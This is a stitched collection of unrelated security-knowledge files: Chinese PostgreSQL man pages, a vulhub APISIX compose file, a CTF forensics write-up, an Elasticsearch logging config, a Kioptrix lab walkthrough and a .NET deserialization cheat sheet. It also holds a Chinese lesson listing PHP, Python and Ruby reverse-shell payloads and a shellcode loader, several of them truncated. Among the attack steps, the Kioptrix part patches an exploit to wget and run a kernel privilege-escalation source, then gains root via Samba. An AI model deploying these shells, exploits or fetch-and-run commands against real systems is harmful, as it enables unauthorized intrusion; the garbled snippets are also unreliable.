SQL 标准允许在 CREATE SCHEMA 里面有一个 DEFAULT CHARACTER SET 子句,以及比目前 PostgreSQL 可以接受的更多的子命令。
.PP
SQL 标准声明在 CREATE SCHEMA 里的子命令可以以任意顺序出现。 目前 PostgreSQL 里的实现还不能处理所有子命令里需要提前引用的情况;有时候可能需要重排一下子命令的顺序以避免前向引用。
.PP
在 SQL 标准里,模式的所有者总是拥有其中的所有对象。 PostgreSQL 允许模式包含非模式所有者所有的对象。 只有在模式所有者 CREATE 了自己的模式的权限给了其它人才可能出现。
.SH "SEE ALSO 参见"
ALTER SCHEMA [\fBalter_schema\fR(7)], DROP SCHEMA [\fBdrop_schema\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PG_DUMPALL" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
pg_dumpall \- 抽出一个 PostgreSQL 数据库集群到脚本文件中
.SH SYNOPSIS
.sp
\fBpg_dumpall\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBpg_dumpall\fR 是一个用于写出("转储")一个数据库集群里的所有 PostgreSQL 数据库到一个脚本文件的工具。 该脚本文件包含可以用于作为 \fBpsql\fR(1) 的输入恢复数据库的SQL命令。 它通过对数据库集群里的每个数据库调用 \fBpg_dump\fR(1) 实现这个功能。 \fBpg_dumpall\fR 还转储出所有数据库公用的全局对象。 (\fBpg_dump\fR(1) 并不保存这些对象。) 这些信息目前包括数据库用户和组,以及适用于整个数据库的访问权限。
.PP
因此,\fBpg_dumpall\fR 是备份你的数据库的一体化解决方案。 但是请注意它的局限性:它无法转储"大对象",因为 \fBpg_dump\fR 无法把这样的对象转储到纯文本文件中。如果你的数据库里有大对象, 那么你应该使用 \fBpg_dump\fR 的非文本输出格式之一转储它们。
.PP
因为 pg_dumpall 从所有数据库中读取表, 所以你很可能需要以数据库超级用户的身份联接,这样才能生成完整的转储。 同样,你也需要超级用户的权限执行保存下来的脚本,这些才能增加用户和组, 以及创建数据库。
.PP
SQL脚本将写出到标准输出。你应该使用合适的 shell 操作符把它重定向到文件。
.PP
\fBpg_dumpall\fR 需要和 PostgreSQL 服务器连接多次,可能每次都问你口令。这种情况下写一个 \fI$HOME/.pgpass\fR 可能会比较方便。
.SH "OPTIONS 选项"
.PP
下列命令行参数用于控制输出格式:
.TP
\fB-a\fR
.TP
\fB--data-only\fR
只转储数据,不转储模式(数据定义)。
.TP
\fB-c\fR
.TP
\fB--clean\fR
包括那些重建之前清理(删除)数据库对象的SQL命令。
.TP
\fB-d\fR
.TP
\fB--inserts\fR
把数据当作 INSERT 命令输出(而不是 COPY)。这样将令恢复过程非常缓慢, 但是会令输出更容易移植到其他 SQL 数据库包中。
.TP
\fB-D\fR
.TP
\fB--column-inserts\fR
.TP
\fB--attribute-inserts\fR
把数据以某种带着明确字段名(INSERT INTO \fItable\fR (\fIcolumn\fR, ...) VALUES ...)的 \fBINSERT\fR 命令形式转储出来。 这样会令恢复非常慢,但是如果需要重排字段顺序就是必须的。
.TP
\fB-g\fR
.TP
\fB--globals-only\fR
只转储全局对象(用户和组),而不转储数据库。
.TP
\fB-i\fR
.TP
\fB--ignore-version\fR
忽略 pg_dumpall 和数据库服务器之间的版本差别。
\fBpg_dumpall\fR 可以处理来自以前版本的 PostgreSQL 的数据库,但是太老的数据库就不再支持了(目前到 7.0)。 如果你需要覆盖版本检查,那么可以使用这个选项(如果 pg_dumpall 失败了,可别说我们没警告你。)
.TP
\fB-o\fR
.TP
\fB--oids\fR
为每个表转储对象标识符(OID)。 如果你的应用在某种角度引用了 OID 字段,那么使用这个选项 (比如,在外键约束里)。否则,不应该使用这个选项。
.TP
\fB-s\fR
.TP
\fB--schema-only\fR
只转储模式(数据定义),不转储数据。
.TP
\fB-v\fR
.TP
\fB--verbose\fR
声明冗余模式。这样将令 pg_dumpall 向标准错误打印进度信息。
.TP
\fB-x\fR
.TP
\fB--no-privileges\fR
.TP
\fB--no-acl\fR
避免转储访问权限(授权/撤销命令)。
.PP
.PP
下面的命令行参数控制数据库连接参数。
.TP
\fB-h \fIhost\fB\fR
声明数据库服务器所运行的机器的主机名。 如果数值以斜扛开头,那么就把它用做 Unix 域套接字的目录。 缺省是从 PGHOST 环境变量里拿来的(如果设置了), 否则使用 Unix 域套接字。
.TP
\fB-p \fIport\fB\fR
声明服务器监听的 TCP 端口号或者 Unix 域套接字文件扩展。 缺省是 PGPORT 环境变量(如果设置了), 或者是编译时的缺省。
.TP
\fB-U \fIusername\fB\fR
以给定用户身分联接。
.TP
\fB-W\fR
强制口令提示。如果服务器需要口令认证,那么这个动作应该自动发生。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数。
.SH "NOTES 注意"
.PP
因为 pg_dumpall 内部调用 pg_dump,所以,一些诊断信息 可以参考 pg_dump。
.PP
恢复完之后,我们建议在每个已恢复的对象上运行 \fBANALYZE\fR。 这样优化器就可以得到有用的统计。 你也可以用 \fBvacuumdb -a -z\fR 清理所有数据库。
.SH "EXAMPLES 例子"
.PP
转储所有数据库:
.sp
.nf
$ \fBpg_dumpall > db.out\fR
.sp
.fi
.PP
重新载入这个数据库:
.sp
.nf
$ \fBpsql -f db.out template1\fR
.sp
.fi
(在这里你和哪个数据库联接并不重要,因为 pg_dumpall 创建的脚本文件将包含合适的命令用于创建和联接保存的数据库。)
.SH "SEE ALSO 参见"
.PP
\fBpg_dump\fR(1). Check there for details on possible
error conditions.
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
version: "2"
services:
apisix:
image: vulhub/apisix:2.11.0
volumes:
- ./config.yml:/usr/local/apisix/conf/config.yaml:ro
depends_on:
- etcd
ports:
- "9080:9080"
- "9091:9091"
- "9443:9443"
etcd:
image: bitnami/etcd:3.4.15
environment:
ETCD_ENABLE_V2: "true"
ALLOW_NONE_AUTHENTICATION: "yes"
ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
ports:
- "2379:2379/tcp"
|
sec-knowleage
|
# MoreWithLess
* Category: Forensics
* 200 Points
* Solved by the JCTF Team
## Description
> You need some EFF in your life.
A 8GB file was attached.
## Solution
Let's check the attached file:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# file MoreWithLess.E01
MoreWithLess.E01: EWF/Expert Witness/EnCase image file format
```
Same as [Check yourself so you won't wreck yourself](Check_yourself_so_you_wont_wreck_yourself.md). Let's try the same thing again:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# mkdir rawimage
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# ewfmount MoreWithLess.E01 ./rawimage/
ewfmount 20140807
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# fdisk -l rawimage/ewf1
Disk rawimage/ewf1: 29.4 GiB, 31534870528 bytes, 61591544 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x73736572
Device Boot Start End Sectors Size Id Type
rawimage/ewf1p1 1920221984 3736432267 1816210284 866G 72 unknown
rawimage/ewf1p2 1936028192 3889681299 1953653108 931.6G 6c unknown
rawimage/ewf1p3 0 0 0 0B 0 Empty
rawimage/ewf1p4 27722122 27722568 447 223.5K 0 Empty
Partition table entries are not in disk order.
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# mkdir mountpoint
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# mount ./rawimage/ewf1 ./mountpoint -o ro,loop,show_sys_files,streams_interace=windows,offset=$((1936028192*512))
mount: /media/sf_CTFs/bsidestlv/MoreWithLess/mountpoint: wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.
```
Trying the different start offsets didn't help, the same error always appeared.
We can try to use `fls` to view all the files:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# fls -rp rawimage/ewf1 | head
r/r 4-128-1: $AttrDef
r/r 8-128-2: $BadClus
r/r 8-128-1: $BadClus:$Bad
r/r 6-128-4: $Bitmap
r/r 6-128-5: $Bitmap:$SRAT
r/r 7-128-1: $Boot
d/d 11-144-4: $Extend
d/d 29-144-6: $Extend/$Deleted
-/r * 124435-128-4: $Extend/$Deleted/001F00000001E6137BC9339E
r/r 25-144-5: $Extend/$ObjId:$O
```
If we find an interesting file, we can `cat` it with `icat`. An example for a not-so-interesting file:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# fls -rp rawimage/ewf1 | grep -i Users/bsidestlv2020/Desktop
d/d 89991-144-6: Users/bsidestlv2020/Desktop
r/r 90426-128-1: Users/bsidestlv2020/Desktop/desktop.ini
r/r 91140-128-4: Users/bsidestlv2020/Desktop/Microsoft Edge.lnk
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# icat rawimage/ewf1 90426-128-1
[ . S h e l l C l a s s I n f o ]
L o c a l i z e d R e s o u r c e N a m e = @ % S y s t e m R o o t % \ s y s t e m 3 2 \ s h e l l 3 2 . d l l , - 2 1 7 6 9
I c o n R e s o u r c e = % S y s t e m R o o t % \ s y s t e m 3 2 \ i m a g e r e s . d l l , - 1 8 3
```
However it's hard to search that way. It's much easier to use `tsk_recover` to try and dump the contents of the image to the disk and search there:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# mkdir recovered
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess# tsk_recover -e ./rawimage/ewf1 ./recovered/
```
We can now grep for the flag:
```console
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess/recovered# grep -ri "BSidesTLV2020{"
Binary file pagefile.sys matches
^C
root@kali:/media/sf_CTFs/bsidestlv/MoreWithLess/recovered# strings pagefile.sys | grep -i "BSidesTLV2020{"
BSIDESTLV2020{
BSIDESTLV2020{HideYourNeed
VBSIDESTLV2020{HideYou
BSIDESTLV2020{HideYourNeedleInTheHayStack}
^C
```
|
sec-knowleage
|
# 基于第十课补充 Payload 1
在实战中可能会遇到各种诉求 payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。
这次主要补充了 PHP,python,ruby。
ps:在线代码高亮:http://tool.oschina.net/highlight
### 1、php-payload
```bash
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107
```
```php
<?
php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) {
{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_
strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s
>
```

```php
<?php
$sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh -i <&3 >&3 2>&3");
?>
```

### 2、python-payload
```bash
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107
```
```python
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('x.x.x.x',xx))
break
except:
time.sleep(5) l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
```

```python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xx));
i"]);
```

```python
import socket import subprocess
s=socket.socket()
s.connect(("xx.xx.xx.xx",xx))
while 1:
p = subprocess.Popen(s.recv(1024),
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.send(p.stdout.read() + p.stderr.read()
)
```

删除特征:
```bash
root@John:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d '"' | tr -d '\n'
```

```python
from ctypes import *
reverse_shell = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72
micropoorshell = create_string_buffer(reverse_shell, len(reverse_shell))
shellcode = cast(micropoorshell, CFUNCTYPE(c_void_p))
shellcode()
```
### 2、ruby-payload
```ruby
require 'socket';c=TCPSocket.new("xx.xx.xx.xx", x);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdi
(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil}
```

```ruby
require 'socket';f=TCPSocket.open("xx.xx.xx.xx",xx).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
```

```ruby
require 'socket';c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
```

```ruby
c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){\|io\|c.print
io.read}end
```

<p align="right">--By Micropoor </p>
|
sec-knowleage
|
# you can override this using by setting a system property, for example -Des.logger.level=DEBUG
es.logger.level: INFO
rootLogger: ${es.logger.level}, console
logger:
# log action execution errors for easier debugging
action: DEBUG
# reduce the logging for aws, too much is logged under the default INFO
com.amazonaws: WARN
appender:
console:
type: console
layout:
type: consolePattern
conversionPattern: "[%d{ISO8601}][%-5p][%-25c] %m%n"
|
sec-knowleage
|
# Kioptrix: Level 1
下载地址:
```
https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar
```
## 实战操作
查找存活靶机IP地址
```
┌──(root💀kali)-[~/Desktop]
└─# netdiscover
Currently scanning: 192.168.47.0/16 | Screen View: Unique Hosts
16 Captured ARP Req/Rep packets, from 4 hosts. Total size: 960
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.32.1 00:50:56:c0:00:08 13 780 VMware, Inc.
192.168.32.2 00:50:56:e9:76:da 1 60 VMware, Inc.
192.168.32.135 00:0c:29:8f:d5:ec 1 60 VMware, Inc.
192.168.32.254 00:50:56:e1:f0:69 1 60 VMware, Inc.
```
查看靶机IP对外开放的端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap 192.168.32.135 -sV
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-11 08:22 EST
Nmap scan report for 192.168.32.135
Host is up (0.0026s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: ZMYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:8F:D5:EC (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.53 seconds
```
nikto扫描http服务,找到有RCE漏洞(**CVE-2002-0082**)。
`mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.`
```
┌──(root💀kali)-[~]
└─# nikto -host 192.168.32.135
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.32.135
+ Target Hostname: 192.168.32.135
+ Target Port: 80
+ Start Time: 2021-12-11 09:14:49 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
+ 8724 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time: 2021-12-11 09:15:15 (GMT-5) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
### mod\_ssl RCE
查找EXP
```
┌──(root💀kali)-[~]
└─# searchsploit mod_ssl
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow | unix/remote/40347.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
复制三个exp测试效果
```
┌──(root💀kali)-[~]
└─# find / -name "21671.c"
/usr/share/exploitdb/exploits/unix/remote/21671.c
┌──(root💀kali)-[~]
└─# cp /usr/share/exploitdb/exploits/unix/remote/21671.c /tmp
┌──(root💀kali)-[~]
└─# cp /usr/share/exploitdb/exploits/unix/remote/764.c /tmp
┌──(root💀kali)-[~]
└─# cp /usr/share/exploitdb/exploits/unix/remote/47080.c /tmp
```
编译21671.c错误
```
┌──(root💀kali)-[/tmp]
└─# gcc -o 21671 21671.c 1 ⨯
21671.c:27:10: fatal error: openssl/ssl.h: No such file or directory
27 | #include <openssl/ssl.h>
| ^~~~~~~~~~~~~~~
compilation terminated.
```
安装openssl依赖文件
```
┌──(root💀kali)-[/tmp]
└─# apt install -y libssl-dev libssl1.0-dev
```
在764.c里面加入下面几句,就可以编译成功
```
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
```
这个站好像死了,我们换另外一个网站的
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
位置在这里624行,修改成下面
```
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
```
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
OK,搞定了
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### smb RCE
使用msfconsole扫描samba版本是2.2
```
┌──(root💀kali)-[~/Desktop]
└─# msfconsole
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.0.9
rhosts => 192.168.0.9
msf6 auxiliary(scanner/smb/smb_version) > run
[*] 192.168.0.9:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.0.9:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.0.9: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
使用searchsploit搜索可利用脚本
```
┌──(root💀kali)-[~/Desktop]
└─# searchsploit samba 2.2
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 2.0.x/2.2 - Arbitrary File Creation | unix/remote/20968.txt
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rb
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1) | linux/remote/16321.rb
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit) | bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation | linux/local/23674.txt
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit) | linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit) | osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit) | solaris_sparc/remote/16330.rb
Samba 2.2.8 - Brute Force Method Remote Command Execution | linux/remote/55.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1) | unix/remote/22468.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2) | unix/remote/22469.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3) | unix/remote/22470.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4) | unix/remote/22471.txt
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit) | linux/remote/9936.rb
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow | unix/remote/22356.c
Samba 2.2.x - Remote Buffer Overflow | linux/remote/7.pl
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.c
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
编译EXP,并且直接连接到靶场。
```
┌──(root💀kali)-[~/Desktop]
└─# cd /tmp
┌──(root💀kali)-[/tmp]
└─# cp /usr/share/exploitdb/exploits/multiple/remote/10.c /tmp
┌──(root💀kali)-[/tmp]
└─# gcc -o exp 10.c
┌──(root💀kali)-[/tmp]
└─# chmod +x exp
┌──(root💀kali)-[/tmp]
└─# ./exp
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./exp [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode
┌──(root💀kali)-[/tmp]
└─# ./exp -b0 192.168.0.9
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
```
## call_trans2open(RBO)
```
┌──(root💀kali)-[/tmp]
└─# msfconsole
msf6 > search trans2open
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
1 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
2 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
3 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
Interact with a module by name or index. For example info 3, use 3 or use exploit/solaris/samba/trans2open
msf6 > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.0.9
rhosts => 192.168.0.9
msf6 exploit(linux/samba/trans2open) > set lrhosts 192.168.0.8
lrhosts => 192.168.0.8
msf6 exploit(linux/samba/trans2open) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > run
```
|
sec-knowleage
|
# .NET Serialization
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Formatters](#formatters)
* [XmlSerializer](#xmlserializer)
* [DataContractSerializer](#datacontractserializer)
* [NetDataContractSerializer](#netdatacontractserializer)
* [LosFormatter](#losformatter)
* [JSON.NET](#jsonnet)
* [BinaryFormatter](#binaryformatter)
* [POP Gadgets](#pop-gadgets)
* [References](#references)
## Detection
* `AAEAAD` (Hex) = .NET deserialization BinaryFormatter
* `FF01` (Hex) / `/w` (Base64) = .NET ViewState
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
## Tools
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
```ps1
$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## Formatters
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
### XmlSerializer
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
* The attacker must control the **type** of the XmlSerializer.
* Payload output: **XML**
```xml
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
